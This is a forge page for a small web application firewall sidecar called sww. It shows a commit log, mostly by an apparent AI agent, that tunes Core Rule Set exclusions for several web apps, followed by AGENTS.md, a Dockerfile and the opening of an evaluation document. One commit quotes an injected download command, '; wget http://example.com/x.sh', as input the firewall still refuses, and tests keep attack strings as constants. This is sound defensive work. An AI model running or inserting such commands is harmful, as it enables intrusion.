check / check (push) Failing after 4m25s
wantRecordedRequestsPass inspects a recorded request with neither a body
nor a Content-Type header only at the defaults, as the WordPress test does
for a request with no body. With neither, the set that reads bodies has
nothing more to check: what it adds picks how to read a body from the
Content-Type, then reads the body. Every other request is still inspected
both ways. This cuts the package's CPU time under -race by about a fifth.

Model: opus-5-5
2026-11-10 09:43:11 +01:00
clawbot 3b987b9074 rproxy: pass WebDAV methods on (closes #278)
check / check (push) Failing after 2m8s
rproxy now passes PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT,
SEARCH, LOCK and UNLOCK to discriminator instead of answering 405, so
Nextcloud's Files app and sync client work. The Core Rule Set's 911100
still refuses them wherever no app's exclusions allow them.

Model: opus-5-5
2026-11-10 07:43:18 +01:00
clawbot 2d83961900 Core Rule Set: Vaultwarden's ordinary requests pass by default (closes #239)
check / check (push) Failing after 3m1s
Adds vaultwarden.conf, the thirteenth change, with rule ids 900150 to
900153. On Vaultwarden's account, organization and admin paths, names and
password hints skip 930120, 932120, 932250 and 932260, and so does a
security key's name. Email addresses skip 930120, 932120 and 932260
there, on the two-factor email paths and when signing in with another
device. So does the address of the admin page's test email. The data
breach report's address does too. The encrypted names of uploaded
attachments and file sends skip 920120. Requests recorded from
Vaultwarden 1.37.5 through the web vault, the Bitwarden command line
client and the admin page pass at the defaults and while bodies are read.

Model: opus-5-5
2026-11-10 07:26:13 +01:00
clawbot 183a6072d5 Core Rule Set: Mastodon's email field passes ordinary addresses (closes #273)
check / check (push) Failing after 16m29s
user[email] on /auth and the paths under it skips 930120, 932120 and
932260. They refused signing up, signing in and resetting a password
with addresses such as python3@example.com, powershell@example.com and
jane.profile@example.com. The field keeps 932250 and every other rule.

Recorded from Mastodon 4.7.5: sign-up, sign-in, password reset and an
email change.

Model: opus-5-5
2026-11-10 06:43:23 +01:00
clawbot 20e4b3b080 Core Rule Set: Mastodon's ordinary requests pass by default (closes #238)
check / check (push) Failing after 5m17s
Adds mastodon.conf, the twelfth change. On Mastodon's paths, the fields
that carry a search, a name, a title, an address, a password or free text
skip the four rules that read them as commands or system files. They cover
the API and the web app's JSON, the admin and settings pages, sign-up and
sign-in, and the objects other servers deliver to an inbox. A post's text
skips 932125, 932230 and 932235 too. Hashtags and sign-up usernames skip
only 932120 and 932260. Uploaded file names skip 932180, a report's
forward keys skip 930120 by name, and the Accept header of a link lookup
skips 920600 on profile and post links. The requests recorded from
Mastodon 4.7.5 pass at the defaults and while bodies are read.

Model: opus-5-5
2026-11-10 05:43:18 +01:00
clawbot 3d9e3976b0 Core Rule Set: gitea's search Referer exclusion skips /api/v2/search (closes #270)
check / check (push) Successful in 4m32s
Rule 900601 let Referer skip five rules when it named a repository's
search, issues or pull requests with the owner api, such as
/api/v2/search, Mastodon's search. A page opened from there skipped
script and SQL injection checks on Referer. gitea has no owner named
api, so a chained condition now leaves out those paths, as rule 900600
does.

Model: opus-5-5
2026-11-10 04:26:08 +01:00
clawbot 56d6a12cc2 Core Rule Set: gitea's repository search exclusion skips /api/v2/search (closes #266)
check / check (push) Successful in 7m49s
Rule 900600 took paths of an owner named api for gitea's search, issues,
pull requests and commit search inside a repository. /api/v2/search,
Mastodon's search, /api/v2/issues and /api/v2/pulls were among them, so
attacks in q scored 0 there. gitea has no owner named api, so a chained
condition now leaves out each of those paths under /api/<x>/. Go's regular
expressions have no lookahead, so the exclusion cannot be written inside
the pattern.

Model: opus-5-5
2026-11-10 03:26:14 +01:00
clawbot 922fe0cf71 Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258)
check / check (push) Failing after 16m32s
On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.

On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, always skips 930120, 932120 and 932250. It skips 932125,
932230, 932235, 932260 and 932380 only when the body sends it once and it
holds no ";", "|", "&", backtick or "{", checked by a phase 2 rule. So
"; wget http://example.com/x.sh" is still refused.

Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.

Model: opus-5-5
2026-11-10 03:09:24 +01:00
clawbot d70fb34f40 Core Rule Set: Drupal's JSON password reset takes an address (closes #262)
check / check (push) Failing after 5m8s
POST /user/password?_format=json with a mail of python3@example.com or
powershell@example.com was refused while bodies are read. On that path,
the JSON field mail now skips 932120 and 932260, the two rules the
recorded addresses set off, unless the query has a json.mail parameter.
Recorded from Drupal 11.4.11.

Model: opus-5-5
2026-11-10 03:09:17 +01:00
clawbot c1bb813a5e Core Rule Set tests: name repeated attack strings (closes #263)
check / check (push) Failing after 4m4s
The Drupal and MediaWiki tests repeated the SQL and script attack strings,
which goconst reports. They now use the existing constant injection and a
new constant scriptTag.

Model: opus-5-5
2026-11-10 01:26:07 +01:00
clawbot 9aa5b303cf Core Rule Set: MediaWiki's ordinary requests pass by default (closes #237)
check / check (push) Failing after 1m48s
Adds mediawiki.conf, the eleventh change: on MediaWiki's paths, the fields
that carry a search, a title, a name, a file name or an address skip the
four rules that read them as commands or system files, and the wikitext
fields skip the rules that refused saving a page. The reasons on the admin
pages skip only 930120 and 932120. /index.php counts as MediaWiki's only
with a page title in its query or after its path, since WordPress serves it
too. The requests recorded from MediaWiki 1.46.2, with and without short
URLs and on the admin pages, pass at the defaults and while bodies are
read. The app tests share the check of recorded requests and the list of
hard values.

Model: opus-5-5
2026-11-10 00:58:15 +01:00
clawbot e29dacad63 Core Rule Set: Drupal's JSON password reset passes (closes #259)
check / check (push) Successful in 4m2s
POST /user/password?_format=json with a name of python3, powershell,
ls -la or .htaccess was refused while bodies are read. On that path,
the JSON field name now skips 930120, 932120, 932250 and 932260, the
four rules those recorded names set off, unless the query has a
json.name parameter. Recorded from Drupal 11.4.11.

Model: opus-5-5
2026-11-10 00:58:08 +01:00
clawbot 9e7a7e60c7 Tests no longer connect to test servers they closed (closes #257)
check / check (push) Failing after 2m5s
Four tests closed a test server or stopped discriminator, and then
connected to its port. Another test process could take that port in
between and receive the connection.

- TestUnreachableRouteWatchLetsTheRequestThroughAndSaysWhy and
  TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient, formerly
  TestRefusedConnection..., point routewatch at 224.0.0.1, a multicast
  address to which TCP cannot connect.
- TestStalledRemoteLogEndpointHoldsUpNoRequest keeps its endpoint open
  and closes each connection it takes, instead of closing the endpoint.
- TestTheSiteAnswersWhileDiscriminatorIsStoppedAndStartedAgain gives
  rproxy an address the test holds throughout. The test forwards each
  connection there to the running discriminator, and closes it while
  discriminator is stopped.

No change to non-test code.

Model: opus-5-5
2026-11-10 00:58:01 +01:00
clawbot c86df7610d Core Rule Set tests: load each set of settings once (closes #252)
check / check (push) Successful in 4m12s
Tests now share one Core Rule Set for each set of settings, loaded once
through sync.OnceValues in shared(). Exclusions-file tests and
TestCorazaWritesNoFile still load their own: loading is what they check.

Loading was not most of the time: the WordPress and Drupal recorded
requests, inspected one after another, were. Each recorded request now
runs as its own parallel subtest, with the same request and outcome.

Model: opus-5-5
2026-11-09 23:57:54 +01:00
clawbot 3a37f82e34 Core Rule Set: more of Drupal's ordinary fields pass (closes #244)
check / check (push) Failing after 17m27s
Names, searches and the page to return to on more Drupal paths skip
the rules that misfire on them: 930120, 932120, 932250 and 932260,
plus 932230 and 932235 on destination only. An email address skips
930120, 932120 and 932260; the oEmbed url only 930120 and 932120.
Every Drupal path may carry a language prefix: a first segment of two
or three lowercase letters, such as /fr. Requests recorded from Drupal
11.4.11 with plain words, python3, powershell, ls -la and .htaccess are
added to the test data; tests show attacks and "; wget ..." still
refused on each new field.

Model: opus-5-5
2026-11-09 23:09:15 +01:00
sneak c0313f7b27 Coraza: use the commit that keeps exclusions per request (closes #254)
check / check (push) Successful in 5m27s
Coraza v3.8.1 shares a rule's ctl:ruleRemoveTargetById exclusions
between concurrent requests, so one request can be checked with
another's. Coraza's main fixed it in its pull request 1745; no release
carries it yet, so go.mod names commit d028be399c68 by its
pseudo-version.

Model: opus-5-5
2026-11-09 21:00:08 +00:00
sneak 35dfd1f5e0 Core Rule Set: test concurrent requests keep their own exclusions
check / check (push) Failing after 2m41s
A Drupal and a WordPress request are inspected at once, many times
over, on one Core Rule Set. Coraza v3.8.1 shares each rule's
exclusions between requests, so the test fails under -race.

Model: opus-5-5
2026-11-09 20:59:45 +00:00
clawbot 9f98982446 Core Rule Set: WordPress's names and addresses pass on more fields (closes #245)
check / check (push) Successful in 4m55s
Each field skips only the rules its recorded requests set off:

- page on all of wp-admin, and the JSON fields title, excerpt and name
  on /wp/v2/ routes: 930120, 932120, 932250 and 932260;
- p, postId and slug on all of wp-admin, and the JSON slug on /wp/v2/
  routes: 932120 and 932260, since WordPress writes these as slugs;
- url on the block editor's link previews and embeds, and a commenter's
  url: 930120 and 932120.

Every field keeps 932235. Add 61 requests recorded from WordPress 7.1.4
with these fields.

Model: opus-5-5
2026-11-09 21:58:18 +01:00
clawbot 3093ed8f0d Add AGENTS.md with the repository's rules for agents (closes #246)
check / check (push) Successful in 4m51s
AGENTS.md holds the branching model, the entrypoints, the editing rule
and two iron rules: query strings are logged as received, and the
trusted-proxy default is the RFC 1918 set. README links it; SPEC.md
step 2 now states that default and that a given list replaces it.

Model: opus-5-5
2026-11-09 20:43:18 +01:00
clawbot decd9b4658 Core Rule Set: Drupal's ordinary requests pass by default (closes #236)
check / check (push) Successful in 5m4s
Adds drupal.conf, the tenth change: on Drupal's paths, the fields that
carry a search, a name, a file name or an address skip the rules that
refused ordinary requests there. The recorded requests from Drupal 11.4
pass at the defaults and while bodies are read; SQL injection, path
traversal and script injection stay refused on those fields. Drupal's
tests share the reader of recorded requests and the attack constants
with the other apps' tests.

Model: opus-5-5
2026-11-09 19:57:53 +01:00
clawbot fd734fcc22 Core Rule Set: WordPress's ordinary requests pass by default (closes #235)
check / check (push) Successful in 4m43s
Add the ninth change: wordpress.conf switches off, per path and field, each
rule that refused ordinary WordPress 7.1.4 requests. Three groups of fields
skip four rules on system files and commands, and only the addresses of the
first group also skip 932235. Add the recorded requests, a test at the
defaults and reading bodies, and list WordPress in the README.

Model: opus-5-5 (rework); sonnet-5-5 (copied the recorded lines)
2026-11-09 19:26:17 +01:00
clawbot 719691d1e8 Name log fields, metrics and the Core Rule Set package for what they are (closes #192)
check / check (push) Failing after 3m22s
The first half of the naming audit: names now say what they are. `internal/waf` is `internal/coreruleset`. Log fields, the action `blocked_by_core_rule_set`, the metric and the alert event say Core Rule Set. Timings end `_ms`. Percentages say of what, as `rate_limit_percent` and `bytes_limit_percent`. Setting names follow in #234.

Judgement call: `blocked_by_core_rule_set`, not the audit's `core_rule_set_blocked`, to match `blocked_by_block_rule`.
Trips a reader: an existing state file holding `waf_blocked` or the anomaly scope `watch` stops the start and must be removed. `SWW_ALERT_EVENTS` listing `waf_block` must list `core_rule_set_match`.

Model: opus-5-5
2026-11-09 08:47:26 +01:00
clawbot aede434f6a Name request log actions so they say what they mean (closes #229)
check / check (push) Successful in 6m30s
The request log's `action` values now say what they mean, as sneak named them: `request_header_too_large`, `client_is_rate_limited`, `blocked_by_block_rule` and `client_denied`, with no aliases. `banned` splits into `temporarily_banned` and `permanently_banned`, by whether the ban runs out. When a permanent ban also covers a client, that ban is the one reported.

Trips a reader: a request over a rate limit stays `client_is_rate_limited` even when the ban it makes is permanent.
Disclosure: the offence key `rule_blocked` is renamed in `clients.json` too, so an existing file holding it stops the start and must be removed. Its `version` stays 1.

Model: opus-5-5
2026-11-09 06:48:26 +01:00
clawbot 6850cb0e9f Add asn= and prefix= tags from a routewatch instance (closes #204)
check / check (push) Successful in 5m0s
With `SWW_ROUTEWATCH_URL` set, a new heuristic, `routewatch_tags`, adds `asn=<number>` and `prefix=<netblock>` to a request from what a routewatch instance answers about the client. New package `internal/routewatch` asks in the background, never on a request's path, and keeps answers 1 hour in memory. The request log gains `routewatch_tags_missing`, saying why a request has none. `prefix=` works in `SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT`.

Trips a reader: a client's first request has no routewatch tags, so `prefix=` refuses from its next request after the answer comes.
Judgement call: with `SWW_LOOKUP_SOURCE=off` and `SWW_ROUTEWATCH_URL` set, an `asn=` tag no longer stops the start.

Model: opus-5-5
2026-11-09 05:47:34 +01:00
clawbot d7c62f2854 Say which bytes the byte limits count, and what passing one does (closes #203)
check / check (push) Failing after 3m48s
sneak asked for every document to be audited for sentences that do not say what they mean. The byte limits now say which bytes count (response bodies, request bodies or both, as `SWW_BYTES_COUNT` says, WebSocket traffic included) and what passing one does. Other unclear or false sentences in `README.md`, `SPEC.md`, `EVALUATION.md` and `docs/` are rewritten.

Documents only. `REPO_POLICIES.md` is shared policy text and stayed out.

Model: fable-5-1 (first audit); opus-5-5 (rework)
2026-11-09 04:03:17 +01:00
clawbot c66277b111 Request tags, with refusing and limits per tag (closes #175)
check / check (push) Failing after 5m8s
Each request gets tags, logged as `tags`: `asn=`, `country=`, one per `SWW_TAG_LISTS` list holding the client, `crowdsec`, `dnsbl=<zone>`, `abuseipdb` and `exploitsignature`. `SWW_TAG_DENY` refuses by tag and `SWW_TAG_LIMIT_PERCENT` lowers limits by tag. They replace `SWW_ASN_LIMIT_PERCENT`, `SWW_COUNTRY_LIMIT_PERCENT` and `SWW_DENIED_COUNTRIES`, with no aliases. A tag in those settings that nothing configured can give stops the start.

Judgement call: `SWW_ASN_LIMIT_PERCENT_URL` stays, its entries counting like `asn=` tags.
Judgement call: `SWW_TAG_LIMIT_PERCENT` also lowers byte limits, as the settings it replaces did.
Trips a reader: `sww_country_list_refusals_total` now counts only `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` refusals.

Model: opus-5-5
2026-11-09 03:30:49 +01:00
sneak f6435b1a73 Add make publish: build the image on the Docker host and push it to the registry
check / check (push) Successful in 3m23s
`script/publish` runs `script/docker` against the Docker host and pushes the image to the registry under four tags: the UTC date, the short commit hash, the branch name and `latest`. It refuses a working tree with uncommitted changes, since the hash tag names a commit.

Also carries sneak's `golines -m 77` line wrapping in three files, with no code change.

Unverified: a real build on the Docker host and a real push from this commit.
Deviation: sneak's FIXME comments are out, because the linter refuses them; they are #227, #228 and #229.

Model: opus-5-5
Co-authored-by: sneak <sneak@sneak.berlin>
2026-11-09 02:03:39 +01:00
clawbot 2349b2a081 discriminator: each decision heuristic is its own module (closes #195)
check / check (push) Failing after 1m53s
Each discriminator check is now a type in its own file behind one small interface, listed in `heuristics.go`. Adding a heuristic is one file and one line. Behaviour does not change.

Refusal and ban log lines gain `heuristic` and `heuristic_figures`. A ban after the answer, by `refusal_limit` or `byte_limits`, logs `after_answer_heuristic` and its figures, so one line can name both.

Deviation: four lists, not the planned three, so `refusal_limit` still bans at the decision.
Rule suppressed: `//nolint:lll` on one struct tag.

Model: opus-5-5
2026-11-09 01:14:24 +01:00
clawbot 42e06bf298 Quiet the update-alternatives man page warnings in the image build (closes #222) (#226)
check / check (push) Successful in 5m24s
xz-utils, which nix-bin depends on, links its man pages with update-alternatives when it installs, and the image's dpkg config drops man pages, so each link printed a warning. A config file re-includes only the man1 pages for this install; the same step deletes them, their dangling links in /etc/alternatives and the config file. No man page or package is added or removed.

Model: deepseek-v4-pro
2026-11-07 15:21:18 +01:00
clawbot beb503b233 Rename the program to sww and its deciding daemon to discriminator (closes #218) (#221)
check / check (push) Failing after 1m34s
2026-11-07 06:51:06 +01:00
clawbot 2e2f6f7175 Core Rule Set: gitea's ordinary requests pass by default (#208)
check / check (push) Successful in 3m29s
2026-11-07 05:21:22 +01:00
clawbot 7fed6b6d36 Remove what is about deploying behind Gitea (#210)
check / check (push) Successful in 3m30s
2026-11-07 03:52:02 +01:00
195 changed files with 47712 additions and 16915 deletions

No files matched your search

+42
View File
@@ -0,0 +1,42 @@
# Agents
These are the rules for agents working on this repository.
## Branches
- `main` is the stable branch, and `next` is the development branch.
- Every PR is cut from `next` and targets `next`.
- Only sneak merges `next` into `main`.
- Each issue lands on `next` as one squashed commit whose title ends
` (closes #N)`. A PR may instead be exactly two commits: first tests that fail
against the current code, then the fix with no test assertion changed. Such a
PR lands as both commits.
## Entrypoints
- Work through the `Makefile` targets, which call the scripts in `script/`. The
README's [Entrypoints](README.md#entrypoints) section lists them.
- Never run `go`, `golangci-lint` or prettier directly.
- `make check` passes before every push.
## Editing
- Edit files by hand.
- Format only with `make fmt`, and run it before committing any change.
## Iron rules
- The request log records query strings exactly as received.
- Secrets belong in POST data. An app that puts a secret in a query string
is fixed in the app.
- Never propose redacting a query string, Gitea's `?token=` included.
- The default of `SWW_RPROXY_TRUSTED_PROXIES` is the RFC 1918 set.
- The set is:
- `10.0.0.0/8`;
- `172.16.0.0/12`;
- `192.168.0.0/16`.
- `SPEC.md` states that default.
- Forwarded headers count only when the peer is a trusted proxy.
- Every time is in UTC, whatever `TZ` or the host's time zone says.
- Every day is a date written `YYYY-MM-DD`, never a time.
- `SPEC.md` states this near its start.
+67 -21
View File
@@ -12,7 +12,7 @@ RUN go mod download
COPY . . COPY . .
RUN golangci-lint run --config .golangci.yml ./... RUN golangci-lint run --config .golangci.yml --build-tags recorded ./...
# Test phase, same shape and for the same reason. The go directive in # Test phase, same shape and for the same reason. The go directive in
# go.mod is a minimum, so this Go may be newer than the linter's. The # go.mod is a minimum, so this Go may be newer than the linter's. The
@@ -20,7 +20,7 @@ RUN golangci-lint run --config .golangci.yml ./...
# needs the C compiler it carries. # needs the C compiler it carries.
# #
# golang 1.27.1-trixie, 2026-09-19 # golang 1.27.1-trixie, 2026-09-19
FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS test FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS test-setup
WORKDIR /src WORKDIR /src
@@ -35,13 +35,50 @@ COPY . .
RUN go mod tidy -diff || \ RUN go mod tidy -diff || \
{ echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; } { echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
# The two passes below are separate stages so that BuildKit runs them at
# the same time; they share no compiled code, because -race changes every
# package's build.
#
# Go's build cache is kept on a tmpfs, out of the image: nothing uses it # Go's build cache is kept on a tmpfs, out of the image: nothing uses it
# after this step, and writing it into the image takes seconds. The tests # after this step, and writing it into the image takes seconds. The tests
# are built with the no_fs_access tag, as the binary is in the build stage. # are built with the no_fs_access tag, as the binary is in the build stage.
#
# The race detector finds bugs only in code that runs in several goroutines
# at once. Of the Core Rule Set's tests, this pass runs only those written
# to check concurrent inspection, whose names start with TestConcurrent.
# The second pass runs the rest.
FROM test-setup AS test-race
RUN --mount=type=tmpfs,target=/root/.cache/go-build \ RUN --mount=type=tmpfs,target=/root/.cache/go-build \
go test -tags no_fs_access -timeout 90s -race -cover ./... || \ others="$(go list ./... | grep -vxF sneak.berlin/go/smallwebwaf/internal/coreruleset)"; \
{ go test -tags no_fs_access -timeout 90s -race -cover $others && \
go test -tags no_fs_access -timeout 90s -race -cover \
-run '^TestConcurrent' ./internal/coreruleset; } || \
{ echo "--- Rerunning with -v for details ---"; \ { echo "--- Rerunning with -v for details ---"; \
go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; } go test -tags no_fs_access -timeout 90s -race -v $others; \
go test -tags no_fs_access -timeout 90s -race -v \
-run '^TestConcurrent' ./internal/coreruleset; \
exit 1; }
# Second pass: every other test of the Core Rule Set, the recorded requests
# among them, without the race detector.
FROM test-setup AS test-recorded
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
go test -tags no_fs_access,recorded -timeout 90s -cover \
-skip '^TestConcurrent' ./internal/coreruleset || \
{ echo "--- Rerunning with -v for details ---"; \
go test -tags no_fs_access,recorded -timeout 90s -v \
-skip '^TestConcurrent' ./internal/coreruleset; \
exit 1; }
# The test phase that script/test and the build stage name. Nothing is
# wanted from the two passes; the copies are what make BuildKit run them.
# It holds nothing else, so script/test's image takes no time to write.
FROM scratch AS test
COPY --from=test-race /src/go.sum /src/go.sum
COPY --from=test-recorded /src/go.sum /src/go.sum
# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it # Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
# writes pass the test phase's check. Nothing else depends on it, so only # writes pass the test phase's check. Nothing else depends on it, so only
@@ -87,7 +124,7 @@ COPY . .
# .git present, a version that is still empty, dev or unknown fails the # .git present, a version that is still empty, dev or unknown fails the
# build: git is missing or could not read the checkout. The no_fs_access # build: git is missing or could not read the checkout. The no_fs_access
# tag keeps Coraza from writing the files of a multipart body to the # tag keeps Coraza from writing the files of a multipart body to the
# system's temporary directory, since smallwebwaf writes only to its state # system's temporary directory, since sww writes only to its state
# directory. # directory.
ARG VERSION ARG VERSION
RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
@@ -99,7 +136,7 @@ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
fi; \ fi; \
CGO_ENABLED=0 go build -tags no_fs_access -trimpath \ CGO_ENABLED=0 go build -tags no_fs_access -trimpath \
-ldflags="-s -w -X main.Version=${VERSION}" \ -ldflags="-s -w -X main.Version=${VERSION}" \
-o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf -o /usr/local/bin/sww ./cmd/sww
# runsvinit, the image's entrypoint, built at the last commit of its # runsvinit, the image's entrypoint, built at the last commit of its
# archived repository. It has no go.mod, and `go build` of its directory # archived repository. It has no go.mod, and `go build` of its directory
@@ -118,7 +155,7 @@ RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \
-o /usr/local/bin/runsvinit . -o /usr/local/bin/runsvinit .
# The image, described under "Deployment" in SPEC.md. It runs rproxy unless # The image, described under "Deployment" in SPEC.md. It runs rproxy unless
# SMALLWEBWAF_COMMAND says servewaf, and an app's Dockerfile can build FROM it. # SWW_COMMAND says waf, and an app's Dockerfile can build FROM it.
# It is the last stage, so a plain `docker build .` builds it. # It is the last stage, so a plain `docker build .` builds it.
# #
# ubuntu 26.04, 2026-09-27 # ubuntu 26.04, 2026-09-27
@@ -136,10 +173,19 @@ RUN mkdir /etc/sysusers.d \
# ca-certificates, nix-bin and runit, from Ubuntu's archive. apt fetches # ca-certificates, nix-bin and runit, from Ubuntu's archive. apt fetches
# them over plain HTTP and checks each one against the archive's signed # them over plain HTTP and checks each one against the archive's signed
# package lists, so no CA certificates are needed. # package lists, so no CA certificates are needed.
RUN apt-get update \ #
# nix-bin depends on xz-utils, whose install links man pages with
# update-alternatives. The image's dpkg config drops man pages, so each
# link warns. z-man, read after /etc/dpkg/dpkg.cfg.d/excludes, re-includes
# the man1 pages for this install alone; the same step deletes them again,
# so no man page or package is added.
RUN echo 'path-include=/usr/share/man/man1/*' > /etc/dpkg/dpkg.cfg.d/z-man \
&& apt-get update \
&& DEBIAN_FRONTEND=noninteractive apt-get install --yes --no-install-recommends \ && DEBIAN_FRONTEND=noninteractive apt-get install --yes --no-install-recommends \
ca-certificates nix-bin runit \ ca-certificates nix-bin runit \
&& rm -rf /var/lib/apt/lists/* && rm -rf /var/lib/apt/lists/* /etc/dpkg/dpkg.cfg.d/z-man \
&& find /usr/share/man/man1 ! -type d -delete \
&& find /etc/alternatives -type l -xtype l -delete
# Nix run by root expects a group of build users, which nix-bin does not # Nix run by root expects a group of build users, which nix-bin does not
# create; with the setting empty, root's builds run without them. # create; with the setting empty, root's builds run without them.
@@ -166,27 +212,27 @@ RUN curl -fsSL -o /tmp/nixexprs.tar.xz \
ENV PATH=${PATH}:/nix/var/nix/profiles/default/bin ENV PATH=${PATH}:/nix/var/nix/profiles/default/bin
COPY --from=runsvinit /usr/local/bin/runsvinit /usr/local/bin/runsvinit COPY --from=runsvinit /usr/local/bin/runsvinit /usr/local/bin/runsvinit
COPY --from=builder /usr/local/bin/smallwebwaf /usr/local/bin/smallwebwaf COPY --from=builder /usr/local/bin/sww /usr/local/bin/sww
# 65532 is above the uids Ubuntu keeps for system users, which end at # 65532 is above the uids Ubuntu keeps for system users, which end at
# 999; useradd warns about it unless --key raises that end for this call. # 999; useradd warns about it unless --key raises that end for this call.
RUN groupadd --system --gid 65532 smallwebwaf \ RUN groupadd --system --gid 65532 sww \
&& useradd --system --key SYS_UID_MAX=65532 --uid 65532 \ && useradd --system --key SYS_UID_MAX=65532 --uid 65532 \
--gid smallwebwaf --no-create-home --shell /usr/sbin/nologin \ --gid sww --no-create-home --shell /usr/sbin/nologin \
smallwebwaf sww
# The state files' directory, SWWAF_STATE_DIR by default, where a volume # The state files' directory, SWW_WAF_STATE_DIR by default, where a volume
# is mounted to keep them across deploys. The run script gives it to the # is mounted to keep them across deploys. At each start of waf, the run
# smallwebwaf user at each start of servewaf. # script makes SWW_WAF_STATE_DIR if it is missing and gives it to the sww user.
RUN mkdir /var/lib/smallwebwaf RUN mkdir /var/lib/sww
# The default rule file, in SWWAF_RULES_DIR by default, where a Dockerfile # The default rule file, in SWW_WAF_RULE_FILES_DIR by default, where a Dockerfile
# built FROM this image can copy rule files of its own beside it. # built FROM this image can copy rule files of its own beside it.
COPY share/rules.d/00-default.rules /etc/smallwebwaf/rules.d/00-default.rules COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
# runsvinit starts runit's runsvdir on /etc/service, where Ubuntu's sv # runsvinit starts runit's runsvdir on /etc/service, where Ubuntu's sv
# looks too. # looks too.
COPY --chmod=755 share/smallwebwaf.run /etc/service/smallwebwaf/run COPY --chmod=755 share/sww.run /etc/service/sww/run
EXPOSE 8080 EXPOSE 8080
@@ -194,6 +240,6 @@ EXPOSE 8080
# check runs every second from the start until it first passes, for up # check runs every second from the start until it first passes, for up
# to a minute, and every 30 seconds after that. # to a minute, and every 30 seconds after that.
HEALTHCHECK --start-period=1m --start-interval=1s \ HEALTHCHECK --start-period=1m --start-interval=1s \
CMD ["/usr/local/bin/smallwebwaf", "healthcheck"] CMD ["/usr/local/bin/sww", "healthcheck"]
ENTRYPOINT ["/usr/local/bin/runsvinit"] ENTRYPOINT ["/usr/local/bin/runsvinit"]
+58 -46
View File
@@ -12,8 +12,8 @@ configured only by environment variables, that provides:
- R1: rate limits per minute, per hour and per day - R1: rate limits per minute, per hour and per day
- R2: netblocks that bypass rate limiting - R2: netblocks that bypass rate limiting
- R3: alerts on attacks through webhook, Slack or ntfy - R3: alerts on attacks through webhook, Slack or ntfy
- R4: alerts on anomalies: requests or bytes per minute or hour, for given IPs - R4: alerts on anomalies: requests made or bytes transferred per minute or
or netblocks, crossing a threshold hour, for given IPs or netblocks, crossing a threshold
- R5: temporary blocks for abusers, permanent bans for repeat offenders - R5: temporary blocks for abusers, permanent bans for repeat offenders
- R6: one or more RBLs or IP reputation APIs - R6: one or more RBLs or IP reputation APIs
- R7: AS number lookup - R7: AS number lookup
@@ -24,14 +24,19 @@ configured only by environment variables, that provides:
## Verdict ## Verdict
Nothing existing is suitable. No surveyed tool meets R8 (scaling limits by AS Nothing existing is suitable. No surveyed tool meets R8, which asks for limits
number or country) or the bytes half of R4 at all, and the tools that come scaled by AS number or country. None meets R4's alerts on bytes transferred. The
closest on the rest fail R10: they need several containers, YAML or a web UI. tools that come closest on the rest fail R10: they need several containers, YAML
The recommendation is to build a small single-binary sidecar; `SPEC.md` in this or a web UI. The recommendation is to build a small single-binary sidecar;
directory begins that spec. It reuses the mature parts of the surveyed field as `SPEC.md` in this directory begins that spec.
libraries and data sources (Coraza and the OWASP Core Rule Set for attack
detection, DNSBLs, AbuseIPDB, optionally a CrowdSec decision feed) instead of The sidecar reuses the mature parts of the surveyed field instead of
reimplementing them. reimplementing them. It takes these as libraries and data sources:
- Coraza and the OWASP Core Rule Set, for attack detection
- DNSBLs
- AbuseIPDB
- optionally, a CrowdSec decision feed
Closest existing options, and why each still falls short: Closest existing options, and why each still falls short:
@@ -45,13 +50,16 @@ Closest existing options, and why each still falls short:
external blacklist URLs, optional CrowdSec), R7 partly (AS number used for external blacklist URLs, optional CrowdSec), R7 partly (AS number used for
blacklist and whitelist decisions), R9 (ModSecurity with the Core Rule blacklist and whitelist decisions), R9 (ModSecurity with the Core Rule
Set, or Coraza plugin), env-var settings. Set, or Coraza plugin), env-var settings.
- Fails: R8 (AS number and country can only allow or deny, never scale a - Fails:
limit), R4 (no volume or byte threshold alerts in the free edition; - R8: AS number and country can only allow or deny, never scale a limit.
reporting is a paid feature), R5 escalation, and R10 in spirit: since 1.6 - R4: no alerts on request-count or byte thresholds in the free edition;
it needs a `bunkerweb` container plus a `bw-scheduler` container and a reporting is a paid feature.
database, or the all-in-one image that bundles nginx, scheduler, UI and - R5: no escalation for repeat offenders.
Redis in one container. It is designed to be the front door for many - R10: since 1.6 it is not one plain sidecar. It needs a `bunkerweb`
sites, not a per-app sidecar. AGPL-3.0. container, a `bw-scheduler` container and a database, or the
all-in-one image that bundles nginx, the scheduler, the UI and Redis.
- It is designed as the proxy in front of many sites, not as a sidecar for
one app. AGPL-3.0.
- Unverified: whether several rates (minute, hour, day) can be stacked on - Unverified: whether several rates (minute, hour, day) can be stacked on
the same URL pattern; the documented design is one rate per URL pattern. the same URL pattern; the documented design is one rate per URL pattern.
- CrowdSec is the strongest detection and ban engine, but it is not a proxy. - CrowdSec is the strongest detection and ban engine, but it is not a proxy.
@@ -66,16 +74,20 @@ Closest existing options, and why each still falls short:
listed AS numbers is possible, but each is a hand-written YAML scenario, listed AS numbers is possible, but each is a hand-written YAML scenario,
it reacts after the fact by banning, and it is not an inline limiter that it reacts after the fact by banning, and it is not an inline limiter that
answers 429. answers 429.
- Fails: R10 (needs the security engine container with persistent state, log - Fails:
